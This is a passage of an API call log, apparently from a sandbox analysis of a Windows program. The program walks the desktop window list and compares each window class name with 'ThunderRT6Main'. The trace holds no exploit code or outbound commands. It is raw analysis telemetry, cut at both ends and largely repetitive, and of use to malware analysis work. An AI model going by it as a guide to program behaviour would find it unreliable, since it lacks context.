hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0156.345] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0156.345] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0156.345] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0156.345] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0156.345] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0156.345] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0156.345] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0156.345] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0156.346] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0156.346] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0156.346] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0156.346] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0156.346] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0156.346] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0156.346] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0156.346] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0156.346] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0156.346] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0156.346] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0156.346] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0156.346] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0156.346] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0156.346] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0156.346] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0156.346] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0156.346] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0156.346] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0156.346] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0156.346] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0156.346] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.346] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0156.346] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0156.346] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0156.347] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0156.347] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0156.347] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0156.347] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0156.347] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0156.347] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0156.347] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0156.347] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0156.347] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0156.347] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0156.347] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0156.347] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0156.347] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0156.347] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0156.347] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0156.347] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0156.347] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0156.347] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0156.347] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0156.347] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0156.347] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0156.347] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0156.347] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0156.347] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0156.347] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0156.347] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0156.347] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0156.347] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0156.347] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0156.347] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0156.347] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0156.347] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0156.347] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0156.347] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0156.348] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0156.348] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0156.348] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0156.348] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0156.348] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.348] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0156.348] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0156.348] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0156.348] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0156.348] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0156.348] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.348] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0156.348] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0156.348] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0156.348] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0156.348] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0156.348] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.348] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0156.348] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0156.348] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0156.348] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0156.348] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0156.348] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.348] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0156.348] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0156.348] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0156.348] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.348] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0156.348] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0156.348] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.348] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0156.348] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0156.348] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.348] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0156.348] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0156.348] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0156.348] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.348] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0156.348] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0156.349] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.349] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0156.349] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.349] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.349] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0156.349] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0156.349] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.349] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0156.349] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.349] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.349] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0156.349] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0156.349] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.349] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0156.349] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.349] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.349] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0156.349] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.349] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.349] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0156.349] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.349] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0156.349] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0156.349] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.349] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.349] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0156.349] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.349] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.349] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0156.349] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.349] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0156.349] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0156.349] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.349] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.349] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.349] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0156.349] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0156.349] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0156.350] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0156.350] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0156.350] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.350] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0156.350] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.350] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0156.350] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.350] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0156.350] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0156.350] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0156.350] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0156.350] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0156.350] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.350] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0156.350] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0156.350] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.350] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0156.350] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.350] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0156.350] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.350] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0156.350] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0156.350] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.350] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0156.350] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0156.350] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0156.350] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0156.350] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0156.351] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0156.351] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0156.351] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0156.351] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0156.351] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0156.351] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.351] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0156.351] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0156.351] 